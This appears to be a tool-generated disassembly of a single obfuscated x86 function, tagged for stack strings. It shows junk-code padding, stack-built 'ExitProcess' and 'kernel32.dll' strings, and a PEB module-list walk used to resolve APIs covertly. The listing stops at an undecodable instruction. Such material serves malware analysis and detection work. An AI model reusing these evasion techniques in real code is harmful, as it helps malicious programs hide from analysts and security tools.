Function at 0x41d4e7
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop ebx
mov byte [ebp - 0x650], 0x51
mov byte [ebp - 0x64f], 0xb9
mov byte [ebp - 0x64e], 0x10
mov byte [ebp - 0x64d], 0x10
mov byte [ebp - 0x64c], 0x10
mov byte [ebp - 0x64b], 0x10
mov byte [ebp - 0x64a], 0x59
push eax
xor eax, 0xfefa
sub eax, 0x1712a
jmp 0x41cd24
call 0x41cd31
add byte [edx], bh
dec ebx
xor eax, 0x3f363547
add esp, 4
pop eax
push ebx
push esi
add esp, 4
xor ebx, 0x76f0
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x169d0
or edi, 0x9fc7
call 0x41cd60
add byte [eax + 0x3e], al
dec edx
cmp al, 0x47
cmp dword [edx + 0x48], eax
add esp, 4
jmp 0x41cd6a
pop edi
push edi
and edi, 0x13a07
pop edi
mov byte [ebp - 0x658], 0x51
mov byte [ebp - 0x657], 0xb9
mov byte [ebp - 0x656], 0x20
mov byte [ebp - 0x655], 0x20
mov byte [ebp - 0x654], 0x20
mov byte [ebp - 0x653], 0x20
mov byte [ebp - 0x652], 0x59
push edi
push ecx
add esp, 4
add edi, 0x5ab1
or edi, 0x9b32
and edi, 0x97d7
pop edi
push ecx
or ecx, 0x11812
add ecx, 0x593a
sub ecx, 0xbc3d
add ecx, 0xa9ff
pop ecx
push ecx
or ecx, 0xfb4a
xor ecx, 0xbcd5
xor ecx, 0x7d52
pop ecx
push ebx
jmp 0x41cdf1
jmp 0x41cdf8
jmp 0x41ce01
jmp 0x41ce07
pop ebx
mov dword [ebp - 0x1224], 0xe
push ecx
add ecx, 0x11a1f
pop ecx
push eax
sub eax, 0xc4d4
jmp 0x41ce27
and eax, 0x3739
pop eax
push ecx
or ecx, 0x59ed
or ecx, 0x11923
jmp 0x41ce43
pop ecx
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x650]
mov dword [ebp - 0xb3c], ecx
push edi
or edi, 0xe7e2
pop edi
push edx
add edx, 0x16913
call 0x41ce75
add byte [ebx + 0x42], cl
cmp al, 0x4d
aas
dec ebx
inc edi
add esp, 4
pop edx
push edi
push edi
add esp, 4
or edi, 0x5f52
or edi, 0xee61
pop edi
mov dword [ebp - 0x1228], 0xffffffff
push edi
or edi, 0xf939
xor edi, 0x1569b
call 0x41ceb0
add byte [ebp + 0x39], al
xor eax, 0x40394636
add esp, 4
call 0x41cec3
add byte [ebx], bh
inc edx
dec esp
inc eax
cmp cl, byte [edi + 0x43]
inc ebx
cmp dword [ebx], edi
add esp, 4
pop edi
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x264], edx
jmp 0x41cee4
mov eax, dword [ebp - 0x264]
add eax, 1
mov dword [ebp - 0x264], eax
push edx
push ecx
add esp, 4
and edx, 0x5e54
pop edx
push eax
push esi
add esp, 4
sub eax, 0x11a0a
and eax, 0x2182
xor eax, 0xb074
pop eax
push ebx
or ebx, 0x1b6a
and ebx, 0x3896
pop ebx
mov ecx, dword [ebp - 0x264]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x41cf5e
push esi
call 0x41cf36
add byte [eax], bh
dec esp
inc esi
aaa
cmp edi, dword [edi]
cmp al, 0x33
add esp, 4
call 0x41cf46
add byte [ebx + 0x37], cl
inc edx
cmp byte [edi + 0x47], al
dec esi
add esp, 4
call 0x41cf55
add byte [ebx + 0x46], al
cmp eax, 0x83453848
les eax, [esi + ebx*2]
jmp 0x41d15a
mov dword [ebp - 0x698], 7
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x648], edx
push edi
push esi
add esp, 4
sub edi, 0x886b
sub edi, 0x12dd1
add edi, 0x6b8f
pop edi
push ebx
sub ebx, 0xeb21
xor ebx, 0x116fa
or ebx, 0xcbc0
add ebx, 0xcf19
pop ebx
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x69c], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, dword [ebp - 0xb3c]
jne 0x41cfdb
mov edx, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], edx
jmp 0x41d10c
cmp dword [ebp - 0x698], 0
jle 0x41d100
push eax
jmp 0x41cff2
or eax, 0x121b3
pop eax
push edi
and edi, 0x47c7
pop edi
push edi
sub edi, 0x12036
call 0x41d016
add byte [edi], dh
cmp ecx, dword [ebp + 0x47]
dec esi
inc esi
dec edi
cmp eax, 0x5f04c483
mov eax, dword [ebp - 0x648]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x608]
movzx eax, byte [edx]
cmp ecx, eax
je 0x41d09c
push edx
push ebx
add esp, 4
call 0x41d043
add byte [esi], dh
dec ebp
inc ecx
inc edx
cmp eax, 0x834e4a4e
les eax, [ecx + eax*4]
retf 0xaace
push edx
xor edx, 0x159a7
jmp 0x41d0a9
and edx, 0x1834d
or edx, 0x6553
pop edx
push ebx
push edx
add esp, 4
and ebx, 0x11fc9
sub ebx, 0x87a0
sub ebx, 0x3852
pop ebx
mov eax, dword [ebp - 0x698]
sub eax, 1
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x648]
add ecx, 1
mov dword [ebp - 0x648], ecx
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
jmp 0x41cfdb
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0xb44], 0
jne 0x41d155
push eax
push edi
add esp, 4
jmp 0x41d123
jmp 0x41d12b
jmp 0x41d134
call 0x41d143
add byte [ebp + 0x46], cl
inc esp
dec edx
dec eax
dec edx
inc ecx
cmp eax, 0x4c48333
pop eax
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x228], ecx
jmp 0x41d196
jmp 0x41ced5
push ecx
sub ecx, 0x5eb0
jmp 0x41d169
sub ecx, 0x11f02
add ecx, 0x10b5c
pop ecx
push edx
xor edx, 0xa1bb
pop edx
push edx
add edx, 0x1849c
add edx, 0x25dd
pop edx
mov dword [ebp - 0x228], 0
push esi
add esi, 0x18087
pop esi
push edi
push edx
add esp, 4
and edi, 0x8fa0
call 0x41d1b8
add byte [edi], bh
dec esp
xor esi, dword [edx]
inc eax
xor al, byte [ebx + 0x4b]
dec esi
add esp, 4
sub edi, 0xf5f8
add edi, 0x10198
pop edi
push ebx
and ebx, 0xc54a
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x3fd
xor edx, 0x2b56
pop edx
push edi
push edi
add esp, 4
add edi, 0x2e03
add edi, 0x1087e
or edi, 0x1844e
pop edi
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x658]
mov dword [ebp - 0xb48], ecx
push eax
jmp 0x41d216
and eax, 0x8d6a
call 0x41d22c
add byte [edx], bh
cmp dword [0x3a453845], esi
inc esi
xor al, 0x4c
add esp, 4
pop eax
push esi
push eax
add esp, 4
sub esi, 0xf840
jmp 0x41d240
pop esi
mov dword [ebp - 0x122c], 0xffffffff
push edi
xor edi, 0xc9e8
xor edi, 0xcbc5
pop edi
push edi
push ebx
add esp, 4
add edi, 0xdfa3
jmp 0x41d26a
call 0x41d279
add byte [ecx], bh
inc esp
cmp dword [ebp + 0x4d], eax
inc eax
cmp dword [0x5f04c483], esi
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x260], edx
jmp 0x41d29a
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x260], eax
push ecx
push edi
add esp, 4
and ecx, 0xca7a
xor ecx, 0x133ce
jmp 0x41d2b1
pop ecx
push esi
call 0x41d2c2
add byte [edi + 0x3a], cl
cmp bh, byte [edx + esi]
dec esp
inc ebx
dec esi
aas
add esp, 4
sub esi, 0xfb1d
pop esi
mov ecx, dword [ebp - 0x260]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x41d314
push eax
push ebx
add esp, 4
sub eax, 0x135bd
and eax, 0x1e55
or eax, 0x1504a
pop eax
push ecx
add ecx, 0x12153
jmp 0x41d302
or ecx, 0xa590
and ecx, 0x6b71
pop ecx
jmp 0x41d510
mov dword [ebp - 0x6a0], 7
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x60c], edx
push esi
push esi
add esp, 4
xor esi, 0x11129
and esi, 0x14421
pop esi
push edx
or edx, 0xdf9b
sub edx, 0x12ab4
pop edx
push ebx
push esi
add esp, 4
and ebx, 0x1487b
sub ebx, 0x14d85
pop ebx
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x6a4], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp - 0xb48]
jne 0x41d391
mov edx, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], edx
jmp 0x41d4c2
cmp dword [ebp - 0x6a0], 0
jle 0x41d4b6
push eax
and eax, 0x5583
pop eax
push eax
add eax, 0x134e7
xor eax, 0x8d3b
and eax, 0xc591
or eax, 0xd15d
pop eax
push esi
and esi, 0x1f95
pop esi
push edx
and edx, 0x1404a
pop edx
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x41d452
push ecx
push edx
add esp, 4
add ecx, 0x9800
and ecx, 0x11fbc
add ecx, 0x8a42
pop ecx
push ebx
push edi
add esp, 4
xor ebx, 0x6bc9
pop ebx
push ebx
or ebx, 0x10eee
add ebx, 0x14cac
pop ebx
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x41d43a
mov dword [ebp - 0xb4c], 1
jmp 0x41d444
mov dword [ebp - 0xb4c], 0xffffffff
mov edx, dword [ebp - 0xb4c]
mov dword [ebp - 0x6a4], edx
jmp 0x41d4b6
push ebx
push esi
add esp, 4
or ebx, 0x3300
pop ebx
push edx
jmp 0x41d466
call 0x41d474
add byte [ecx + 0x42], cl
cmp al, 0x43
xor cl, byte [esi + 0x33]
aaa
add esp, 4
add edx, 0x14b68
jmp 0x41d483
pop edx
mov eax, dword [ebp - 0x6a0]
sub eax, 1
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x60c]
add ecx, 1
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x610]
add edx, 1
mov dword [ebp - 0x610], edx
jmp 0x41d391
mov eax, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], eax
cmp dword [ebp - 0xb50], 0
jne 0x41d50b
push esi
sub esi, 0x9b13
or esi, 0x16ee9
call 0x41d4e7
add byte [ebp + 0x3c], al
aaa
inc ebp
inc eax
cmp eax, dword [eax + 0x46]
inc eax
add esp, 4
pop esi
push eax
push ebx
add esp, 4
sub eax, 0x4dd3
xor eax, 0x354b
pop eax
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0x614], ecx
jmp 0x41d54c
jmp 0x41d28b
push edi
push ecx
add esp, 4
sub edi, 0x10ee9
sub edi, 0x1355d
pop edi
push ecx
add ecx, 0xe8b1
xor ecx, 0x91fd
or ecx, 0x851a
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0x8be0
pop ebx
mov dword [ebp - 0x614], 0
push ebx
push edi
add esp, 4
sub ebx, 0x1686f
pop ebx
push eax
push edi
add esp, 4
and eax, 0x12ae8
xor eax, 0x16325
add eax, 0x22c4
pop eax
push ecx
add ecx, 0x83c2
jmp 0x41d57d
pop ecx
mov byte [ebp - 0x494], 0x45
mov byte [ebp - 0x493], 0x78
mov byte [ebp - 0x492], 0x69
mov byte [ebp - 0x491], 0x74
mov byte [ebp - 0x490], 0x50
mov byte [ebp - 0x48f], 0x72
mov byte [ebp - 0x48e], 0x6f
mov byte [ebp - 0x48d], 0x63
mov byte [ebp - 0x48c], 0x65
mov byte [ebp - 0x48b], 0x73
mov byte [ebp - 0x48a], 0x73
mov byte [ebp - 0x489], 0
push ebx
sub ebx, 0xf9a3
and ebx, 0x440d
add ebx, 0x64d0
pop ebx
push esi
push esi
add esp, 4
add esi, 0x424f
sub esi, 0x10202
jmp 0x41d5fd
or esi, 0x1e63
pop esi
mov edx, 0x6b
mov word [ebp - 0xc50], dx
mov eax, 0x65
mov word [ebp - 0xc4e], ax
mov ecx, 0x72
mov word [ebp - 0xc4c], cx
mov edx, 0x6e
mov word [ebp - 0xc4a], dx
mov eax, 0x65
mov word [ebp - 0xc48], ax
mov ecx, 0x6c
mov word [ebp - 0xc46], cx
mov edx, 0x33
mov word [ebp - 0xc44], dx
mov eax, 0x32
mov word [ebp - 0xc42], ax
mov ecx, 0x2e
mov word [ebp - 0xc40], cx
mov edx, 0x64
mov word [ebp - 0xc3e], dx
mov eax, 0x6c
mov word [ebp - 0xc3c], ax
mov ecx, 0x6c
mov word [ebp - 0xc3a], cx
xor edx, edx
mov word [ebp - 0xc38], dx
push esi
push eax
add esp, 4
and esi, 0x10d8
pop esi
push eax
xor eax, 0x1566
pop eax
push edi
push edi
add esp, 4
xor edi, 0x13e3c
xor edi, 0x3b38
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0x1999
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xe2c], edx
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0xb54], eax
push esi
xor esi, 0xa633
jmp 0x41d705
pop esi
push ebx
or ebx, 0xa340
pop ebx
push esi
add esi, 0x13b53
add esi, 0x140e6
or esi, 0x701a
xor esi, 0x425e
pop esi
cmp dword [ebp - 0xb54], 0
jne 0x41d740
mov dword [ebp - 0x188], 0
jmp 0x41d9e7
mov ecx, dword [ebp - 0xb54]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x6b0], eax
push edi
or edi, 0x11dc6
sub edi, 0x15089
or edi, 0x17510
pop edi
push ecx
call 0x41d774
add byte [ebp + 0x39], cl
aaa
inc edx
dec edi
inc ecx
aas
add esp, 4
sub ecx, 0x131b
xor ecx, 0x1300
pop ecx
cmp dword [ebp - 0x6b0], 0
jne 0x41d79c
mov dword [ebp - 0x188], 0
jmp 0x41d9e7
mov ecx, dword [ebp - 0x6b0]
mov dword [ebp - 0x25c], ecx
push edx
add edx, 0x2b2d
and edx, 0x5aa9
or edx, 0x13e10
call 0x41d7c8
add byte [edx], bh
dec esi
cmp byte [ebx + 0x40], cl
dec esi
dec eax
add esp, 4
pop edx
push eax
or eax, 0x16b23
and eax, 0xfa96
pop eax
lea edx, [ebp - 0xc50]
mov dword [ebp - 0x6ac], edx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x6a8], ecx
xor edx, edx
mov word [ebp - 0x114], dx
xor eax, eax
mov word [ebp - 0x28], ax
push ecx
push edi
add esp, 4
or ecx, 0x83cb
xor ecx, 0xe2a4
sub ecx, 0x881d
xor ecx, 0x81a9
pop ecx
push edi
jmp 0x41d829
xor edi, 0x16cc9
xor edi, 0x13dc8
pop edi
mov ecx, dword [ebp - 0x6a8]
mov dx, word [ecx]
mov word [ebp - 0x87a], dx
mov eax, dword [ebp - 0x6a8]
add eax, 2
mov dword [ebp - 0x6a8], eax
mov cx, word [ebp - 0x87a]
mov word [ebp - 0x114], cx
mov edx, dword [ebp - 0x6ac]
mov ax, word [edx]
mov word [ebp - 0x92c], ax
mov ecx, dword [ebp - 0x6ac]
add ecx, 2
mov dword [ebp - 0x6ac], ecx
mov dx, word [ebp - 0x92c]
mov word [ebp - 0x28], dx
push eax
push eax
add esp, 4
and eax, 0xa4e2
add eax, 0xaa5
pop eax
push ecx
push eax
add esp, 4
add ecx, 0xe882
xor ecx, 0x113cb
or ecx, 0x148b0
pop ecx
push eax
add eax, 0xd04b
pop eax
movzx eax, word [ebp - 0x28]
test eax, eax
jne 0x41d8dc
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0xb5c], ecx
jmp 0x41d936
movzx eax, word [ebp - 0x114]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
je 0x41d804
movzx edx, word [ebp - 0x114]
xor edx, 0x20
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x41d804
movzx ecx, word [ebp - 0x114]
movzx edx, word [ebp - 0x28]
cmp ecx, edx
jge 0x41d920
mov dword [ebp - 0xb58], 0xffffffff
jmp 0x41d92a
mov dword [ebp - 0xb58], 1
mov eax, dword [ebp - 0xb58]
mov dword [ebp - 0xb5c], eax
cmp dword [ebp - 0xb5c], 0
jne 0x41d97f
push edi
push ebx
add esp, 4
sub edi, 0x15d44
pop edi
push esi
push edi
add esp, 4
add esi, 0x6570
pop esi
push edi
sub edi, 0x7211
add edi, 0x12b66
xor edi, 0x62f1
xor edi, 0x106b1
pop edi
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x188], ecx
jmp 0x41d9e7
push edx
xor edx, 0x11333
add edx, 0x6a01
pop edx
push ebx
sub ebx, 0xeec4
call 0x41d9a0
add byte [edx], bh
inc esi
aaa
inc eax
cmp bh, byte [esi]
add esp, 4
add ebx, 0xf902
jmp 0x41d9b0
pop ebx
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
mov dword [ebp - 0x25c], eax
mov ecx, dword [ebp - 0x25c]
cmp ecx, dword [ebp - 0x6b0]
je 0x41d9dd
mov edx, dword [ebp - 0x25c]
cmp dword [edx + 0x30], 0
jne 0x41d7a8
mov dword [ebp - 0x188], 0
push edi
push ebx
add esp, 4
add edi, 0xd409
sub edi, 0xa489
add edi, 0x10128
add edi, 0x6abd
pop edi
push ecx
or ecx, 0xab7
and ecx, 0x131f3
add ecx, 0x511f
pop ecx
cmp dword [ebp - 0x188], 0
jne 0x41e2ec
mov eax, 0x6b
mov word [ebp - 0xca8], ax
mov ecx, 0x65
mov word [ebp - 0xca6], cx
mov edx, 0x72
mov word [ebp - 0xca4], dx
mov eax, 0x6e
mov word [ebp - 0xca2], ax
mov ecx, 0x65
mov word [ebp - 0xca0], cx
mov edx, 0x6c
mov word [ebp - 0xc9e], dx
mov eax, 0x33
mov word [ebp - 0xc9c], ax
mov ecx, 0x32
mov word [ebp - 0xc9a], cx
mov edx, 0x2e
mov word [ebp - 0xc98], dx
invalid
add byte fs:[eax], al